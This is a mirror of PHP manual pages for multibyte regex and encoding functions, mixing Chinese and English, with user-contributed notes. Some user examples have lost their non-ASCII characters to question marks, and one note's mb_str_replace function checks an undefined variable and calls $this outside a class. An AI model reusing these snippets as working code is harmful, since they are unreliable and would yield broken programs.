  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

There are no user contributed notes for this page.


Set start point of next regular expression match

  • ? mb_ereg_search_regs
  • mb_ereg_search ?
  • PHP Manual
  • 多字节字符串 函数
  • Set start point of next regular expression match

mb_ereg_search_setpos

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search_setpos — Set start point of next regular expression match

说明

mb_ereg_search_setpos(int $offset): bool

mb_ereg_search_setpos() sets the starting point of a match for mb_ereg_search().

参数

offset

The position to set. If it is negative, it counts from the end of the string.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.1.0 | Support for negative offsets has been added.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

phpnet at osps dot net 22-Sep-2021 04:25
This method, like mb_ereg_search_pos, appears to use byte offsets, not character offsets. This seems counter intuitive for the mb_* methods, which inherently take a "character" view of strings, as opposed to a "byte" based view. Even the mb_strpos method returns a character offset.

The following code reveals this byte-oriented behaviour:

<?php
    $x = 'abc456789'. "\u{1000}" .'abc4567890';
    $re = 'ab.';
    echo 'x='. $x .PHP_EOL;
    echo 're='. $re .PHP_EOL;
    mb_ereg_search_init( $x );
    mb_internal_encoding( mb_detect_encoding( $x) );
    echo 'mb_strlen='. mb_strlen( $x ) .PHP_EOL;
    echo 'strlen='. strlen( $x ) .PHP_EOL;
    foreach ( array( 0, 9, 10, 11, 12, 13 ) as $o ) {

        mb_ereg_search_setpos( $o );
        echo 'Offset='. $o
            .' mb_substr='. mb_substr( $x, $o )
            .' substr='. substr( $x, $o )
            .' mb_ereg_search_regs='. print_r( mb_ereg_search_regs( $re ), true  )
            .PHP_EOL;
    }

?>
With character offsets, we would expect offsets 11 and above to return no search result, whereas what we see is:

<?php

=abc456789?abc4567890
re=ab.
mb_strlen=20
strlen=22
Offset=0 mb_substr=abc456789?abc4567890 substr=abc456789?abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=9 mb_substr=?abc4567890 substr=?abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=10 mb_substr=abc4567890 substr=??abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=11 mb_substr=bc4567890 substr=?abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=12 mb_substr=c4567890 substr=abc4567890 mb_ereg_search_regs=Array
(
    [0] => abc
)

Offset=13 mb_substr=4567890 substr=bc4567890 mb_ereg_search_regs=
?>


Multibyte regular expression match for predefined multibyte string

  • ? mb_ereg_search_setpos
  • mb_ereg ?
  • PHP Manual
  • 多字节字符串 函数
  • Multibyte regular expression match for predefined multibyte string

mb_ereg_search

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_search — Multibyte regular expression match for predefined multibyte string

说明

mb_ereg_search(?string $pattern = null, ?string $options = null): bool

Performs a multibyte regular expression match for a predefined multibyte string.

参数

pattern

The search pattern.

options

The search option. See mb_regex_set_options() for explanation.

返回值

mb_ereg_search() returns true if the multibyte string matches with the regular expression, or false otherwise. The string for matching is set by mb_ereg_search_init(). If pattern is not specified, the previous one is used.

更新日志

版本 | 说明
8.0.0 | pattern and options are nullable now.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

Christian 08-Aug-2021 09:19
A 'match_all' helper function based on dulao's answer. Someone might find it useful...

<?php
function mb_ereg_match_all($pattern, $subject, &$matches, $options = '', $setOrder = false, $offset = 0) {
    if (!mb_ereg_search_init($subject, $pattern, $options)) {
        return false;
    }
    if ($offset != 0 && !mb_ereg_search_setpos($offset)) {
        return false;
    }
    $matches = [];
    if (!mb_ereg_search()) {
        return 0;
    }
    $regs = mb_ereg_search_getregs();
    $count = 0;
    do {
        $count++;
        if ($setOrder) {
            foreach ($regs as $key => $val) {
                $matches[$key][] = $val;
            }
        } else {
            $matches[] = $regs;
        }
        $regs = mb_ereg_search_regs();
    }
    while($regs);
    return $count;
}
?>
dulao5 at gmail dot com 28-Apr-2007 11:11
mb_ereg_search & subpatterns
use loop:
<?php
    $str = "中国abc + abc ?!？！字符＃　china string";

    $reg = "\w+";

    mb_regex_encoding("UTF-8");

    mb_ereg_search_init($str, $reg);
    $r = mb_ereg_search();

    if(!$r)
    {
        echo "null\n";
    }
    else
    {
        $r = mb_ereg_search_getregs(); //get first result
        do
        {
            var_dump($r[0]);
            $r = mb_ereg_search_regs();//get next result
        }
        while($r);
    }
?>


Regular expression match with multibyte support

  • ? mb_ereg_search
  • mb_eregi_replace ?
  • PHP Manual
  • 多字节字符串 函数
  • Regular expression match with multibyte support

mb_ereg

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg — Regular expression match with multibyte support

说明

mb_ereg(string $pattern, string $string, array &$matches = null): bool

Executes the regular expression match with multibyte support.

参数

pattern

The search pattern.

string

The search string.

matches

If matches are found for parenthesized substrings of pattern and the function is called with the third argument matches, the matches will be stored in the elements of the array matches. If no matches are found, matches is set to an empty array.

$matches[1] will contain the substring which starts at the first left parenthesis; $matches[2] will contain the substring starting at the second, and so on. $matches[0] will contain a copy of the complete string matched.

返回值

Returns whether pattern matches string.

更新日志

版本 | 说明
8.0.0 | This function returns true on success now. Previously, it returned the byte length of the matched string if a match for pattern was found in string and matches was passed. If the optional parameter matches was not passed or the length of the matched string was 0, this function returned 1.
7.1.0 | mb_ereg() will now set matches to an empty array, if nothing matched. Formerly, matches was not modified in that case.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_eregi() - Regular expression match ignoring case with multibyte support

User Contributed Notes

Anonymous 29-May-2022 06:22
If adding ".*" at the end of the pattern returns "false"
whereas only one "." returns "true",

Suspect the string is too long for the pattern matching.

In this case, using preg_match() returns "true" when putting ".*"
, but adding more "$" or "\z" returns "false" as expected.
Anonymous 11-Aug-2021 03:32
One of the differences between preg_match() & mb_ereg()
about "captured parenthesized subpattern".

<?php

preg_match('/(abc)(.*)/', 'abc', $match);
var_dump($match);

mb_ereg('(abc)(.*)', 'abc', $match);
var_dump($match);

?>

array(3) {
  [0]=>
  string(3) "abc"
  [1]=>
  string(3) "abc"
  [2]=>
  string(0) ""       // <-- "string"(0) "" : preg_match()
}

array(3) {
  [0]=>
  string(3) "abc"
  [1]=>
  string(3) "abc"
  [2]=>
  bool(false)       // <-- "bool"(false) : mb_ereg()
}
Anonymous 03-Aug-2021 07:56
mb_ereg() with a named-subpattern
never catches non-named-subpattern.
(Oniguruma's restriction)

<?php

$str = 'abcdefg';
$patternA = '\A(abcd)(.*)\z';        // both caught [1]abcd [2]efg
$patternB = '\A(abcd)(?<rest>.*)\z'; // non-named 'abcd' never caught

mb_ereg($patternA, $str, $match);
echo '<pre>'.print_r($match, true).'</pre>';

mb_ereg($patternB, $str, $match);
echo '<pre>'.print_r($match, true).'</pre>';
?>

Array
(
    [0] => abcdefg
    [1] => abcd
    [2] => efg
)

Array
(
    [0] => abcdefg
    [1] => efg
    [rest] => efg
)
Anonymous 08-Dec-2020 01:28
<?php

# What mb_ereg() returns & changes $_3rd_argument into
# (Just run this script)

function dump2str($var) {
    ob_start();
    var_dump($var);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

# (PHP7)empty pattern returns bool(false) with Warning
# (PHP8)empty pattern throws ValueError
    $emp_ptn = '';
try{
    $emp_ptn.=  dump2str(mb_ereg('', 'abcde'));
}catch(Exception | Error $e){
    $emp_ptn.=  get_class($e).'<br>';
    $emp_ptn.=  $e->getMessage();
    $emp_ptn.=  '<pre>'.$e->getTraceAsString().'</pre>';
}

echo
'PHP '.phpversion().'<br><br>'.

'# match<br>'.
dump2str(mb_ereg("bcd", "abcde")).
' : mb_ereg("bcd", "abcde")<br><br>'.

'# match with 3rd argument<br>'.
dump2str(mb_ereg("bcd", "abcde", $_3rd)).
' : mb_ereg("bcd", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# match (0 byte)<br>'.
dump2str(mb_ereg("^", "abcde")).
' : mb_ereg("^", "abcde")<br><br>'.

'# match (0 byte) with 3rd argument<br>'.
dump2str(mb_ereg("^", "abcde", $_3rd)).
' : mb_ereg("^", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# unmatch<br>'.
dump2str(mb_ereg("f", "abcde")).
' : mb_ereg("f", "abcde")<br><br>'.

'# unmatch with 3rd argument<br>'.
dump2str(mb_ereg("f", "abcde", $_3rd)).
' : mb_ereg("f", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>'.

'# empty pattern<br>'.
$emp_ptn.
' : mb_ereg("", "abcde")<br><br>'.

'# empty pattern with 3rd argument<br>'.
$emp_ptn.
' : mb_ereg("", "abcde", $_3rd)    // '.dump2str($_3rd).'<br><br>';

?>
Anonymous 21-Mar-2019 08:24
<?php

// in PHP_VERSION 7.1

// WITHOUT $regs (3rd argument)
$int = mb_ereg('abcde', '_abcde_'); // [5 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('ab', '_ab_');       // [2 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('^', '_ab_');        // [0 bytes match]
var_dump($int);                     // int(1)

$int = mb_ereg('ab', '__');         // [not match]
var_dump($int);                     // bool(false)

$int = mb_ereg('', '_ab_');         // [error : empty pattern]
                                    // Warning: mb_ereg(): empty pattern in ...
var_dump($int);                     // bool(false)

$int = mb_ereg('ab');               // [error : fewer arguments]
                                    // Warning: mb_ereg() expects at least 2 parameters, 1 given in ...
var_dump($int);                     // bool(false)

                    // Without 3rd argument, mb_ereg() returns either int(1) or bool(false).

// WITH $regs (3rd argument)
$int = mb_ereg('abcde', '_abcde_', $regs);// [5 bytes match]
var_dump($int);                           // int(5)
var_dump($regs);                          // array(1) { [0]=> string(5) "abcde" }

$int = mb_ereg('ab', '_ab_', $regs);      // [2 bytes match]
var_dump($int);                           // int(2)
var_dump($regs);                          // array(1) { [0]=> string(2) "ab" }

$int = mb_ereg('^', '_ab_', $regs);       // [0 bytes match]
var_dump($int);                           // int(1)
var_dump($regs);                          // array(1) { [0]=> bool(false) }

$int = mb_ereg('ab', '__', $regs);        // [not match]
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

$int = mb_ereg('', '_ab_', $regs);        // [error : empty pattern]
                                          // Warning: mb_ereg(): empty pattern in ...
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

$int = mb_ereg('ab');                     // [error : fewer arguments]
                                          // Warning: mb_ereg() expects at least 2 parameters, 1 given in ...
var_dump($int);                           // bool(false)
var_dump($regs);                          // array(0) { }

                    // With 3rd argument, mb_ereg() returns either int(how many bytes matched) or bool(false)
                    // and 3rd argument is a bit complicated.

?>
lastuser at example dot com 14-Mar-2018 05:32
I hope this information is shown somewhere on php.net.

According to "https://github.com/php/php-src/tree/PHP-5.6/ext/mbstring/oniguruma",
the bundled Oniguruma regex library version seems ...
 4.7.1 between PHP 5.3 - 5.4.45,
 5.9.2 between PHP 5.5 - 7.1.16,
 6.3.0 since PHP 7.2 - .
Anonymous 11-Mar-2017 01:14
Old link to Oniguruma regex syntax is not working anymore, there is a working one:
https://github.com/geoffgarside/oniguruma/blob/master/Syntax.txt
mb_ereg() seems unable to Use &#34;named sub 06-May-2015 01:42
mb_ereg() seems unable to Use "named subpattern".
preg_match() seems a substitute only in UTF-8 encoding.

<?php

$text = 'multi_byte_string';
$pattern = '.*(?<name>string).*';        // "?P" causes "mbregex compile err" in PHP 5.3.5

if(mb_ereg($pattern, $text, $matches)){
    echo '<pre>'.print_r($matches, true).'</pre>';
}else{
    echo 'no match';
}

?>

This code ignores "?<name>" in $pattern and displays below.

Array
(
    [0] => multi_byte_string
    [1] => string
)

$pattern = '/.*(?<name>string).*/u';
if(preg_match($pattern, $text, $matches)){

instead of lines 2 & 3
displays below (in UTF-8 encoding).

Array
(
    [0] => multi_byte_string
    [name] => string
    [1] => string
)
Riikka K 13-Jul-2014 04:23
While hardly mentioned anywhere, it may be useful to note that mb_ereg uses Oniguruma library internally. The syntax for the default mode (ruby) is described here:

http://www.geocities.jp/kosako3/oniguruma/doc/RE.txt
pressler at hotmail dot de 19-Nov-2012 10:50
Note that mb_ereg() does not support the \uFFFF unicode syntax but uses \x{FFFF} instead:

<?PHP

$text = 'Peter is a boy.'; // english
$text = '???? ?? ???.'; // arabic
//$text = '???? ??? ???.'; // hebrew

mb_regex_encoding('UTF-8');

if(mb_ereg('[\x{0600}-\x{06FF}]', $text)) // arabic range
//if(mb_ereg('[\x{0590}-\x{05FF}]', $text)) // hebrew range
{
    echo "Text has some arabic/hebrew characters.";
}
else
{
    echo "Text doesnt have arabic/hebrew characters.";
}

?>
Jon 11-Apr-2009 04:22
Hebrew regex tested on PHP 5, Ubuntu 8.04.
Seems to work fine without the mb_regex_encoding lines (commented out).
Didn't seem to work with \uxxxx (also commented out).

<?php
echo "Line ";
//mb_regex_encoding("ISO-8859-8");
//if(mb_ereg(".*([\u05d0-\u05ea]).*", $this->current_line))
if(mb_ereg(".*([?-?]).*", $this->current_line))
{
    echo "has";
}
else
{
    echo "doesn't have";
}
echo " Hebrew characters.<br>";
//mb_regex_encoding("UTF-8");
?>


Replace regular expression with multibyte support ignoring case

  • ? mb_ereg
  • mb_eregi ?
  • PHP Manual
  • 多字节字符串 函数
  • Replace regular expression with multibyte support ignoring case

mb_eregi_replace

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_eregi_replace — Replace regular expression with multibyte support ignoring case

说明

mb_eregi_replace(
string $pattern,
string $replacement,
string $string,
?string $options = null
): string|false|null

Scans string for matches to pattern, then replaces the matched text with replacement.

参数

pattern

The regular expression pattern. Multibyte characters may be used. The case will be ignored.

replacement

The replacement text.

string

The searched string.

options
The search option. See mb_regex_set_options() for explanation.

返回值

The resultant string or false on error. If string is not valid for the current encoding, null is returned.

更新日志

版本 | 说明
8.0.0 | options is nullable now.
7.1.0 | The function checks whether string is valid for the current encoding.
7.1.0 | The e modifier has been deprecated.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

Warning

处理非信任的输入时从不使用 e 修饰符，就不会转码（即调用 preg_replace()）。不注意这些会很可能会导致应用程序引发远程代码执行的漏洞。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_replace() - Replace regular expression with multibyte support

User Contributed Notes

kirilatpillaxdotcom 02-Aug-2012 09:52
To highlight words in multi-byte text:

<?php
$s = 'Алабала';
$f = 'а';
echo preg_replace('/('.$f.')/iu', '<b>$1</b>', $s);
?>
its2dark2c at yahoo dot com 20-Aug-2011 04:36
when trying to find a way to strip newline from a multibyte UTF-8 string i got to this function just to discover later that POSIX don't "do" newline so i can't strip them, examples of what i tried are : \r\n , \\r\\n , (\\r\\n) (\\r|\\n)

and got no result
so since i wanted something like mb_nl2br() that's simple i wrote this little recursive function for UTF-8:

<?php
function mb_str_replace($find,$replace,&$str)
{
$i = mb_strpos($str,$find, 0,"UTF-8");
if ($index===false) {return;}
$str = mb_substr($str, 0,$i).$replace.mb_substr($str, $i+mb_strlen($find,"UTF-8"),mb_strlen($str,"UTF-8"));
$this->mb_str_replace($find,$replace,$str);
}
?>

note: moderate unit tesing was done, changed to other encodings
cat at feelthehouse dot ru 13-Sep-2008 09:27
Transliterator for cyrillic-to-latin letters for UTF chars:

<?php
function do_translit($st) {
    $replacement = array(
        "й"=>"i","ц"=>"c","у"=>"u","к"=>"k","е"=>"e","н"=>"n",
        "г"=>"g","ш"=>"sh","щ"=>"sh","з"=>"z","х"=>"x","ъ"=>"\'",
        "ф"=>"f","ы"=>"i","в"=>"v","а"=>"a","п"=>"p","р"=>"r",
        "о"=>"o","л"=>"l","д"=>"d","ж"=>"zh","э"=>"ie","ё"=>"e",
        "я"=>"ya","ч"=>"ch","с"=>"c","м"=>"m","и"=>"i","т"=>"t",
        "ь"=>"\'","б"=>"b","ю"=>"yu",
        "Й"=>"I","Ц"=>"C","У"=>"U","К"=>"K","Е"=>"E","Н"=>"N",
        "Г"=>"G","Ш"=>"SH","Щ"=>"SH","З"=>"Z","Х"=>"X","Ъ"=>"\'",
        "Ф"=>"F","Ы"=>"I","В"=>"V","А"=>"A","П"=>"P","Р"=>"R",
        "О"=>"O","Л"=>"L","Д"=>"D","Ж"=>"ZH","Э"=>"IE","Ё"=>"E",
        "Я"=>"YA","Ч"=>"CH","С"=>"C","М"=>"M","И"=>"I","Т"=>"T",
        "Ь"=>"\'","Б"=>"B","Ю"=>"YU",
    );

    foreach($replacement as $i=>$u) {
        $st = mb_eregi_replace($i,$u,$st);
    }
    return $st;
}
?>


Regular expression match ignoring case with multibyte support

  • ? mb_eregi_replace
  • mb_get_info ?
  • PHP Manual
  • 多字节字符串 函数
  • Regular expression match ignoring case with multibyte support

mb_eregi

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_eregi — Regular expression match ignoring case with multibyte support

说明

mb_eregi(string $pattern, string $string, array &$matches = null): bool

Executes the case insensitive regular expression match with multibyte support.

参数

pattern

The regular expression pattern.

string

The string being searched.

matches

If matches are found for parenthesized substrings of pattern and the function is called with the third argument matches, the matches will be stored in the elements of the array matches. If no matches are found, matches is set to an empty array.

$matches[1] will contain the substring which starts at the first left parenthesis; $matches[2] will contain the substring starting at the second, and so on. $matches[0] will contain a copy of the complete string matched.

返回值

Returns whether pattern matches string.

更新日志

版本 | 说明
8.0.0 | This function returns true on success now. Previously, it returned the byte length of the matched string if a match for pattern was found in string and matches was passed. If the optional parameter matches was not passed or the length of the matched string was 0, this function returned 1.
7.1.0 | mb_eregi() will now set matches to an empty array, if nothing matched. Formerly, matches was not modified in that case.

注释

Note:

mb_regex_encoding() 指定的内部编码或字符编码将会当作此函数用的字符编码。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

lasmit at what dot com 20-Feb-2012 10:31
I simulated it:
<?php
   $text = '?pfel';
   mb_internal_encoding( 'utf-8' );
   printf( "%d\n", mb_eregi( '?pfel', $text ) ); // Output: 0
   printf( "%d\n", mb_ereg( '?pfel', mb_strtolower( $text ) ) ); // Output: 1
   printf( "%d\n", mb_eregi( '?pfel', mb_strtolower( $text ) ) ); // Output: 1
?>
bubalula at gmail dot com 27-Aug-2010 07:44
This function does not work - it is not case insensitive for non latin characters.
steve at brainwashstudios dot com 10-Apr-2003 07:52
When this function is perfected, and is not experimental, it may be very usefull in the searching and pinpointing of places inside large text files.


获取 mbstring 的内部设置

  • ? mb_eregi
  • mb_http_input ?
  • PHP Manual
  • 多字节字符串 函数
  • 获取 mbstring 的内部设置

mb_get_info

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_get_info — 获取 mbstring 的内部设置

说明

mb_get_info(string $type = "all"): mixed

mb_get_info() 返回 mbstring 参数的内部设定。

参数

type

如果没有设定 type 或者将其设定为 "all" 将会返回以下内容 "internal_encoding", "http_input", "http_output", "http_output_conv_mimetypes", "mail_charset", "mail_header_encoding", "mail_body_encoding", "illegal_chars", "encoding_translation", "language", "detect_order", "substitute_character" 和 "strict_detection"。

如果 type 设定为类似 "internal_encoding", "http_input", "http_output", "http_output_conv_mimetypes", "mail_charset", "mail_header_encoding", "mail_body_encoding", "illegal_chars", "encoding_translation", "language", "detect_order", "substitute_character" 或 "strict_detection"，将返回该参数的设置。

返回值

如果没有指定 type 将返回类型信息的数组，否则将返回指定 type 的信息。 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 参数 type 中的 "func_overload" 和 "func_overload_list" 不再被支持。

参见

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_http_output() - 设置/获取 HTTP 输出字符编码

User Contributed Notes

There are no user contributed notes for this page.


检测 HTTP 输入字符编码

  • ? mb_get_info
  • mb_http_output ?
  • PHP Manual
  • 多字节字符串 函数
  • 检测 HTTP 输入字符编码

mb_http_input

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_http_input — 检测 HTTP 输入字符编码

说明

mb_http_input(?string $type = null): array|string|false

检测 HTTP 输入字符的编码。

参数

type

设置的字符串指定了输入类型。 "G" 是 GET，"P" 是 POST，"C" 是 COOKIE，"S" 是 string，"L" 是 list，以及 "I" 是整个列表（将会返回 array）。 如果省略了 type，它将返回最后处理的一种输入类型。

返回值

每个 type 的字符编码名称，如果 type 是 "I" 时为字符编码名称数组。 如果 mb_http_input() 没有处理过任何指定的 HTTP 输入，它将返回 false。

更新日志

版本 | 说明
8.0.0 | type 现在可为 null。

参见

  • mb_internal_encoding() - 设置/获取内部字符编码
  • mb_http_output() - 设置/获取 HTTP 输出字符编码
  • mb_detect_order() - 设置/获取 字符编码的检测顺序

User Contributed Notes

There are no user contributed notes for this page.


设置/获取 HTTP 输出字符编码

  • ? mb_http_input
  • mb_internal_encoding ?
  • PHP Manual
  • 多字节字符串 函数
  • 设置/获取 HTTP 输出字符编码

mb_http_output

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_http_output — 设置/获取 HTTP 输出字符编码

说明

mb_http_output(?string $encoding = null): string|bool

设置/获取 HTTP 输出字符编码。此函数被调用之后输出的内容会被转换成 encoding。

参数

encoding

如果设置了 encoding，mb_http_output() 设置 HTTP 输出字符编码为 encoding。

如果省略了 encoding，mb_http_output() 返回当前的 HTTP 输出字符编码。

返回值

如果省略了 encoding，mb_http_output() 返回当前的 HTTP 输出字符编码。 否则成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

参见

  • mb_internal_encoding() - 设置/获取内部字符编码
  • mb_http_input() - 检测 HTTP 输入字符编码
  • mb_detect_order() - 设置/获取 字符编码的检测顺序

User Contributed Notes

anders jenbo pc dk 03-Oct-2007 01:23
By default this is set to 'pass' witch means that php will not touch the encoding and output it as it is in the source file.

Normaly this function isn't needed as long as you save the .php file in the same encoding as you want it to output as well as retrive all input in the same encoding, but it don't seam to herd as long as it able to figure out what encoding the output is in ín the first place.


设置/获取内部字符编码

  • ? mb_http_output
  • mb_language ?
  • PHP Manual
  • 多字节字符串 函数
  • 设置/获取内部字符编码

mb_internal_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_internal_encoding — 设置/获取内部字符编码

说明

mb_internal_encoding(?string $encoding = null): string|bool

设置/获取内部字符编码

参数

encoding

encoding 字符编码名称使用于 HTTP 输入字符编码转换、HTTP 输出字符编码转换、mbstring 模块系列函数字符编码转换的默认编码。内部编码与多字节正则表达式的编码完全不同。

返回值

如果设置了 encoding，则成功时返回 true， 或者在失败时返回 false。 在这种情况下，多字节正则表达式的字符编码不会改变。 如果省略了 encoding，则返回当前的字符编码名称。

错误／异常

从 PHP 8.0.0 起，如果 encoding 的值是无效编码，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。
8.0.0 | 如果 encoding 是无效编码，现在抛出 ValueError。以前发出的是 E_WARNING。

示例

Example #1 mb_internal_encoding() 示例

<?php
/* 设置内部字符编码为 UTF-8 */
mb_internal_encoding("UTF-8");

/* 显示当前的内部字符编码*/
echo mb_internal_encoding();
?>

参见

  • mb_http_input() - 检测 HTTP 输入字符编码
  • mb_http_output() - 设置/获取 HTTP 输出字符编码
  • mb_detect_order() - 设置/获取 字符编码的检测顺序
  • mb_regex_encoding() - Set/Get character encoding for multibyte regex

User Contributed Notes

webfav at web dot de 16-Sep-2015 12:14
all together

<?php
// ------------------------------------------------------------

header('Content-Type: text/html; CHARSET=gb2312');

mb_internal_encoding('UTF-8');
mb_http_output('UTF-8');
mb_http_input('UTF-8');
mb_regex_encoding('UTF-8');

// ------------------------------------------------------------
?>
Anonymous 31-May-2015 07:49
Note that mb_internal_encoding is not necessary in PHP 5.6
john leborgne 01-Aug-2012 10:18
i noticed that setting mb_internal_encoding('UTF-8') in my global site config.inc.php, doesn't work in my classes : it reverse back to ISO-8859-1.
Adding the call to the constructor of my top site class resolve this.
mdirks at gulfstreamcoach dot com 17-May-2007 08:55
In response to mortoray at ecircle-ag dot com:

The characters display fine as long as you set the Encoding to something more "Latin 1" compatible (i.e. US-ACSII, ISO-8859-1, ISO-8859-1, or  Windows 1252). PHP.net auto-detects to UTF-8
Joachim Kruyswijk 25-May-2006 12:52
Especially when writing PHP scripts for use on different servers, it is a very good idea to explicitly set the internal encoding somewhere on top of every document served, e.g.

mb_internal_encoding("UTF-8");

This, in combination with mysql-statement "SET NAMES 'utf8'", will save a lot of debugging trouble.

Also, use the multi-byte string functions instead of the ones you may be used to, e.g. mb_strlen() instead of strlen(), etc.
mortoray at ecircle-ag dot com 27-May-2005 04:10
To previous example, the PHP notes don't appear to support umlauted characters so there are question marks  (?) there instead of what should be umlauated oue.  Just substitute any high-order/accented character to see the effect.
mortoray at ecircle-ag dot com 26-May-2005 11:58
Be aware that the strings in your source files must match the encoding you specify by mb_internal_encoding.  It appears the Parser loads raw bytes from the file and refers to its internal encoding to determine their actual encoding.

To demonstrate, the following outputs as espected when the /source/ file is Latin-1 encoded:

<?php
    mb_internal_encoding("iso-8859-1");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "???<br/>";

    ?>???

Now, a typical use of mb_internal_encoding is shown as follows.  Make the change to "utf-8" but leave the /source/ file encoding unchanged:

<?php
    mb_internal_encoding("UTF-8");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "???<br/>";

    ?>???

The output will just show the <br/> tag and no text.

Save the file as UTF-8 encoding and then the results will be as expected.


设置/获取当前的语言

  • ? mb_internal_encoding
  • mb_list_encodings ?
  • PHP Manual
  • 多字节字符串 函数
  • 设置/获取当前的语言

mb_language

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_language — 设置/获取当前的语言

说明

mb_language(?string $language = null): string|bool

设置/获取当前的语言。

参数

language

用于编码邮件信息。下表列出了有效的语言。 mb_send_mail() 使用了该设置来对邮件进行编码。

语言 | 字符 | 编码 | 别名
German/de | ISO-8859-15 | Quoted-Printable | Deutsch
English/en | ISO-8859-1 | Quoted-Printable
Armenian/hy | ArmSCII-8 | Quoted-Printable
Japanese/ja | ISO-2022-JP | BASE64
Korean/ko | ISO-2022-KR | BASE64
neutral | UTF-8 | BASE64
Russian/ru | KOI8-R | Quoted-Printable
Turkish/tr | ISO-8859-9 | Quoted-Printable
Ukrainian/ua | KOI8-U | Quoted-Printable
uni | UTF-8 | BASE64 | universal
简体中文/zh-cn | HZ | BASE64
繁体中文/zh-tw | BIG-5 | BASE64

返回值

如果设置了 language，并且 language 是有效的，它将返回 true。否则将返回 false。 当省略了 language 或为 null 时，将返回语言名称的 string。

更新日志

版本 | 说明
8.0.0 | language 现在可为 null。

参见

  • mb_send_mail() - 发送编码过的邮件

User Contributed Notes

There are no user contributed notes for this page.


返回所有支持编码的数组

  • ? mb_language
  • mb_ord ?
  • PHP Manual
  • 多字节字符串 函数
  • 返回所有支持编码的数组

mb_list_encodings

(PHP 5, PHP 7, PHP 8)

mb_list_encodings — 返回所有支持编码的数组

说明

mb_list_encodings(): array

返回所有支持编码的数组。

参数

此函数没有参数。

返回值

返回一个数字索引数组。

错误／异常

该函数不会触发任何错误。

示例

Example #1 mb_list_encodings() 例子

<?php

print_r(mb_list_encodings());

?>

以上示例的输出类似于：

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
    [31] => eucJP-win
    [32] => SJIS-win
    [33] => JIS
    [34] => ISO-2022-JP
    [35] => Windows-1252
    [36] => ISO-8859-1
    [37] => ISO-8859-2
    [38] => ISO-8859-3
    [39] => ISO-8859-4
    [40] => ISO-8859-5
    [41] => ISO-8859-6
    [42] => ISO-8859-7
    [43] => ISO-8859-8
    [44] => ISO-8859-9
    [45] => ISO-8859-10
    [46] => ISO-8859-13
    [47] => ISO-8859-14
    [48] => ISO-8859-15
    [49] => EUC-CN
    [50] => CP936
    [51] => HZ
    [52] => EUC-TW
    [53] => BIG-5
    [54] => EUC-KR
    [55] => UHC
    [56] => ISO-2022-KR
    [57] => Windows-1251
    [58] => CP866
    [59] => KOI8-R
)

参见

  • mb_encoding_aliases() - Get aliases of a known encoding type

User Contributed Notes

whittaker007 at gmail dot com 25-Jul-2021 11:53
Note that the 'auto' option no longer appears in PHP 7.4+
raat1979 at gmail dot com 13-Jan-2018 07:56
this function lists the most common names under which encodings are named,

If the one you are looking for is not in the list but does work it may be known as an alias of one of the returned encoding names

mb_encoding_aliases returns the aliases of the encoding ,
